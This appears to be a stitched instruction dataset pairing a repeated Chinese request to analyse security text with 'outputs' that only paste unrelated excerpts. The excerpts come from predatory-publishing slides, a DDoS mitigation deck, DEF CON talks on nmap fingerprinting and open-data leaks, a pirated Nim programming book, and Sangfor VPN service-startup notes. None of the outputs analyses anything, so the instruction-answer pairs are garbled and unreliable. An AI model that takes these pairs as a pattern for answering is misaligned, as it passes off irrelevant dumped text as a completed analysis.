HAHAHAHAHA,
no.
wasetwatch.wordpress.com
Predatory Publishing
“Predatory conferences or predatory meetings are
meetings set up to appear like legitimate scientific
conferences but which are exploitative as they do not
provide proper editorial control over presentations
and advertising can include claims of involvement of
prominent academics who are, in fact, uninvolved.”
Source: Wikipedia
“Predatory publishers hurt scientists, science, and the
communication of science. They trick scientists,
pretending to operate as legitimate publishers, when
they are essentially counterfeit and only seeking to
earn a quick profit.” Jeffrey Beal
23 media partners
60+ journalists
We need some help!
We need some help!
Credits: Jeremy Stribling, Max Krohn, Dan Aguayo (2005)
Source: https://pdos.csail.mit.edu/archive/scigen/
A Sting Operation
Art by Francesco Ciccolella
www.francescociccolella.com
Highly-Available, Collaborative,
Trainable Communication
- a policy neutral approach
Christian Schreibaumer, Ph. D.
Isabella Stein
University of Applied Sciences
of Lower Saxony at Himmelpforten
International Conference on Systems, Computing
and Software Engineering, London 2018
Video - WASET
Art by Francesco Ciccolella
www.francescociccolella.com
Fake Cancer Cures
Miracle Cancer cures
Bees are awesome.
Can they heal cancer?
Probably not.
But who knows?
„This is a non-scientific approach, just to make
money.“
Miracle Cancer cures that aren’t
Reviewer comments:
"The study provided important experimental and pre-clinical
evidences demonstrating the potential application of Bio99TM ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DDoS Protecion Total AnnihilationD
DDoS Mitigation Lab
A
DDoS Mitigation Lab
Independent academic R&D division of
Nexusguard building next generation DDoS
mitigation knowledge and collaborate with
defense community.
Industry body formed to foster synergy among
stakeholders to promote advancement in DDoS
defense knowledge.
DDoS Mitigation Lab
DDoS Mitigation Lab
 DDoS Relevance, Attack Categories, Detection & Mitigation
 Source Host Verification: Authentication Methods
 TCP SYN Auth
 HTTP Redirect Auth
 HTTP Cookie Auth
 JavaScript Auth
 CAPTCHA Auth
 PoC Tool
 TCP Traffic Model
 HTTP Traffic Model
DDoS Mitigation Lab
Size
Bandwidth
> 20Gbps
Complexity
Layer 7
> 30%
Frequency
Attack
> 2.5mil
per year
Cost
Lost
> US$6M
per hour!!
Source:  NTT Communications,
“Successfully Combating DDoS Attacks” (Aug 2012)
DDoS Mitigation Lab
Volumetric
Semantic
Blended
DDoS Mitigation Lab
DDoS Mitigation Lab
DDoS Mitigation Lab
SYN ACK
SYN
ACK
RST
SYN
SYN ACK
ACK

DDoS Mitigation Lab
RST
SYN
SYN ACK
SYN
SYN ACK
ACK

DDoS Mitigation Lab
GET
/index.html
HTTP 302 redir to
/foo/index.html
GET
/foo/index.html
HTTP 302 redir to
/index.html
GET
/index.html

DDoS Mitigation Lab
GET
/index.html
HTTP 302 redir to
/index.html
HTTP 302 redir to
/index.html
GET
/index.html
GET
/index.html

DDoS Mitigation Lab
GET
/index.html
HTTP 302 redir to
/index.html
[X-Header: foo=bar]
GET
/index.html
[X-Header: foo=bar]
GET
/index.html
[X-Header: foo=bar]
HTTP 302 redir to
/index.html
[X-Header: foo=bar]

GET
/index.html
[X-Header: foo=bar]
DDoS Mitigation Lab
GET
/index.html
HTTP 302 redir to
/index.html
GET
/index.html
POST
/auth.php
ans=16
JS
7+nine=?

DDoS Mitigation Lab
GET
/index.html
HTTP 302 redir to
/index.html
GET
/index.html
POST
/auth.php

DDoS Mitigation Lab
c
DDoS Mitigation Lab
c
DDoS Mitigation Lab
c
DDoS Mitigation Lab
Number of Connections
Connection Hold Time
Before 1st Request
Connection Idle Timeout
After Last Request
Connections
Interval
Connections...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DefCon 21, Las Vegas 2013
Let’s Screw With nMap
Gregory Pickett, CISSP, GCIA, GPEN
Chicago, Illinois
gregory.pickett@hellfiresecurity.com
Hellfire Security
Overview
Nosey Bastards!
All About Packet Normalization
Working It All Out
Putting It Into Practice
Finishing Up
Network Defenders
We see scans and probes of our network every
day
From the inside and from the outside
Everybody is targeting us
Identifying our assets
How They Do It
Network stack implementation is highly
discretionary
Differences identify the operating system type
and version
Allowing Attackers to identify their targets
By matching the headers of their target to known
operating system implementations
… then it’s likely a
Windows 2003
Sever!
Uses the following
options
MSS of 1460
Single NOP
Window Size 0
Single NOP
Single NOP
Ending SACK
If your target …
Has a TTL of 128
Implications
If they identify your assets …
They know their weaknesses
How to attack them successfully
Without triggering your sensors
TSA-Style patdowns …
It’s fact of life
But does it have to be?
Why can’t we …
Remove the differences
To remove their advantage
Strip them of their ability to fingerprint
To significantly reduce their chance of success
My Answer
Packet
ization
OK.  What is packet normalization?
Not an entirely developed concept
Many expressions but most incomplete …
Normalization vs. Scrubbing
Scrubbing is to do away with; cancel
Normalization is to make normal, especially to
cause to conform to a standard or norm
Both are seen in varying degrees
Scrubbing
Used by a number of firewalls
Randomize IP ID
Clear IP DF
Also …
Set IP tos/dscp, and ttl
IP Fragment Reassembly
Primarily Concern
Policy Violations
Abnormal Packets
Abnormal Flows
Scrubbing
Used by some network devices such as Cisco ACE and
ASA
Random TCP SEQ
Clear TCP Reserved, and URG
Clears TCP Options
Minimum IP TTL
Fragment Reassembly too …
Primarily Concern
Policy Violations
Abnormal Packets
Abnormal Flows
Incoming Normalization
Used by IPS and ID...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

M A N N I N G
Dominik Picheta
www.allitebooks.com
Nim Reference
Common constructs
const x = 5
Compile-time constant
let y = “Hello”
Immutable binding
var z = [1, 2, 3]
Mutable variable
proc     name(param: int):      ReturnType = body
method   name(param: float):    ReturnType = body
iterator items(list: seq[int]): int        = body
template name(param: typed)                = body
macro    name(param: string):   untyped    = body
if x > 5:
  body
elif y == "Hello":
  body
else:
  body
case x
of 5:
  body
of 1, 2, 3: body
of 6..30:
  body
for item in list:
  body
for i in 0..<len(list):
  body
while x == 5:
  if y.len > 0:
    break
  else:
    continue
try:
  raise err
except Exception as exc:
  echo(exc.msg)
finally: discard
Input/Output
echo(x, 42, "text")
readFile("file.txt")
stdout.write("text")
writeFile("file.txt", "contents")
stderr.write("error")
open("file.txt", fmAppend)
stdin.readLine()
Type definitions
type
  MyType = object
    field: int
type
  Colors = enum
    Red, Green,
    Blue, Purple
type
  MyRef = ref object
    field*: string
Licensed to   <null>
www.allitebooks.com
Nim in Action
Licensed to   <null>
www.allitebooks.com
Licensed to   <null>
www.allitebooks.com
Nim in Action
DOMINIK PICHETA
M A N N I N G
SHELTER ISLAND
Licensed to   <null>
www.allitebooks.com
For online information and ordering of this and other Manning books, please visit
www.manning.com. The publisher offers discounts on this book when ordered in quantity.
For more information, please contact
Special Sales Department
Manning Publications Co.
20 Baldwin Road
PO Box 761
Shelter Island, NY 11964
Email: orders@manning.com
©2017 by Manning Publications Co. All rights reserved.
No part of this publication may be reproduced, stored in a retrieval system, or transmitted, in
any form or by means electronic, mechanical, photocopying, or otherwise, without prior written
permission of the publisher.
Many of the designations used by manufacturers and sellers to distinguish their produ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Torturing Open Government
Systems for Fun, Profit and
Time Travel
Dr. Tom Keenan FCIPS,  I.S.P., ITCP, Professor
Faculty of Environmental Design & Dept. of Computer Science
keenan@ucalgary.ca
@drfuture
decreeping.wordpress.com
DEF CON 21
Las Vegas, NV
August 1-4, 2013
Disclaimers
These views are mine, not my employer’s,
my publisher’s, my cat’s etc.
I DO LIKE OPEN DATA!  I just want to see
it done right.
Some of the vulnerabilities shown have
been fixed/changed/modified.  They are
still instructive as cautionary tales.
More results will appear in a forthcoming
book from OR Books and on my blog
decreeping.wordpress.com
The Six Ws of Open Data
What is Open Data?
Who has Open Data?
Why is Open Data?
Where is Open Data?
When is Open Data?
Worrisome aspects of Open Data
What is the Open Data
Movement?
Initiative by many governments to make their
data openly available
Driven by:
 Calls for transparency (“it’s the taxpayers money”)
 Sincere desire for innovation (“they’ll come up with
some great uses for our data at that Hackathon”)
 Fear (“Wikileaks is going to get this anyway; it looks
better if we release it”)
 Cheapness (“we don’t have to pay the developers”)
 Positive sentiments about open source,
transparency, “data wants to be free”
Some notable examples
NYC Datamine
Philadelphia OpenDataPhilly
Open Data Framework (Vancouver,
Edmonton, Toronto and Ottawa)
Open Data Challenge (EU)
Direct input systems like seeclickfix.com
NYC Datamine
On October 6, 2009 NYC released, with
great fanfare, 103 municipal data sets
One listed 1100 women’s organizations in
the city
Release contained their private email
address, secret question like “favorite pet”
and answer like “fluffy”
Problem #1:  Neglecting to read and redact data sets
before releasing!
Toronto’s 311 Customer
Requests System
25% are about garbage/recycling pickup
Some are serious, personal etc.
Location is supposed to be reported as
partial posta...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

/sf/app/apache_portal/bin/httpd
/etc/profile/root/.bash_profile
/etc/bashrc/root/.bashrc
/etc/profile.d/*.sh/etc/profile.d/lang.sh
/etc/sysconfig/i18n/etc/rc.local/etc/rc.d/rc.local
/etc/rc.local
/etc/rc.d/rc.local
/etc/profile.d/
/etc/init.d
systemctl
systemctl list-units --type=service
/usr/lib/systemd/system
crontab
cat /etc/crontab

ssl443——httpd
0x00
0x01
0x02
 /sf/app/apache_portal/bin/httpd
 /usr/lib/systemd/system
 /sf/app/apache_portal/bin/httpd
systemctl list-units --type=service
#
systemd-user-sessions.service     Permit User Sessions
sangfor-session_check.service    Sangfor session_check
systemd-vconsole-setup.service       Setup Virtual Console
systemd-logind.service       Login Service
#web
sangfor-conhttpd.service     Sangfor EMM Http Server
sangfor-boa.service         Sangfor WebUI Http Server
sangfor-ntwf_framework.service      Sangfor ntwf framework(node_twf)
sangfor-php-fpm.service        Sangfor PHP-FPM Service
sangfor-ssllogs.service    Sangfor WebUI Ssllogs Service
#vpn
sangfor-svpn.service        Sangfor SSLVPN Core Service
[root@sslvpn system]# cat sangfor-svpn.service
[Unit]
Description=Sangfor SSLVPN Core Service
After=sangfor-env.service sangfor-module.service sangfor-net.service sangfor-ntwf_framework.service
[Service]
CPUQuota=160%
Type=forking
EnvironmentFile=/etc/sysconfig/sangforenv
ExecStart=/sf/app/svpn/svpn_ctrl start
ExecReload=/sf/app/svpn/svpn_ctrl restart
ExecStop=/sf/app/svpn/svpn_ctrl stop
# We want systemd to give httpd some time to finish gracefully, but still want
# it to kill httpd after TimeoutStopSec if something went wrong during the
# graceful stop. Normally, Systemd sends SIGTERM signal right after the
# ExecStop, which would kill httpd. We are sending useless SIGCONT here to give
# httpd time to finish.
KillSignal=SIGTERM
PrivateTmp=false
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
 ExecStart=/sf/app/svpn/svpn_ctrl start

 /sf/app/apache_portal/bin/httpd

 /sf/app/apache_porta...